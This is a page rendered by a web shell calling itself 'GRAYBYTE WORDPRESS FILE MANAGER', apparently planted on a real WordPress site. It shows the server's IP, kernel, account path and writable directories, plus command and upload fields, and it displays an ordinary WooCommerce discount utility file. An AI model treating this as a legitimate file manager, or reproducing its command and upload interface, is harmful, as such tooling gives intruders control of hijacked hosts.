GRAYBYTE WORDPRESS FILE MANAGER1415

Server IP : 198.54.121.189 / Your IP : 216.73.216.112
System : Linux premium69.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
PHP Version : 7.4.33
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Directory : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Utilities/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /home/giriqfky/chahida.co.in/wp-content/plugins/woocommerce/src/Utilities//DiscountsUtil.php
<?php
/**
 * DiscountsUtil class file.
 */

namespace Automattic\WooCommerce\Utilities;

/**
 * The DiscountsUtil class provides utilities to assist discounts calculation and validation.
 */
class DiscountsUtil {

	/**
	 * Checks if the given email address(es) matches the ones specified on the coupon.
	 *
	 * @param array $check_emails Array of customer email addresses.
	 * @param array $restrictions Array of allowed email addresses.
	 *
	 * @return bool
	 */
	public static function is_coupon_emails_allowed( $check_emails, $restrictions ) {

		foreach ( $check_emails as $check_email ) {
			// With a direct match we return true.
			if ( in_array( $check_email, $restrictions, true ) ) {
				return true;
			}

			// Go through the allowed emails and return true if the email matches a wildcard.
			foreach ( $restrictions as $restriction ) {
				// Convert to PHP-regex syntax.
				$regex = '/^' . str_replace( '*', '(.+)?', $restriction ) . '$/';
				preg_match( $regex, $check_email, $match );
				if ( ! empty( $match ) ) {
					return true;
				}
			}
		}

		// No matches, this one isn't allowed.
		return false;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
July 10 2025 04:32:19
giriqfky / giriqfky
0755
.htaccess
0.41 KB
July 10 2025 04:32:19
giriqfky / giriqfky
0644
ArrayUtil.php
12.987 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
DiscountsUtil.php
1.104 KB
May 30 2024 18:23:46
giriqfky / giriqfky
0644
FeaturesUtil.php
4.49 KB
January 25 2023 03:19:12
giriqfky / giriqfky
0644
I18nUtil.php
1.687 KB
February 22 2023 07:17:34
giriqfky / giriqfky
0644
LoggingUtil.php
3.183 KB
August 27 2024 23:04:44
giriqfky / giriqfky
0644
NumberUtil.php
5.888 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
OrderUtil.php
8.174 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
PluginUtil.php
12.89 KB
March 03 2025 22:28:12
giriqfky / giriqfky
0644
RestApiUtil.php
0.763 KB
May 28 2024 14:28:20
giriqfky / giriqfky
0644
ShippingUtil.php
0.996 KB
May 12 2025 21:07:28
giriqfky / giriqfky
0644
StringUtil.php
5.09 KB
June 04 2024 15:20:30
giriqfky / giriqfky
0644
TimeUtil.php
1.158 KB
January 30 2024 23:24:56
giriqfky / giriqfky
0644

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF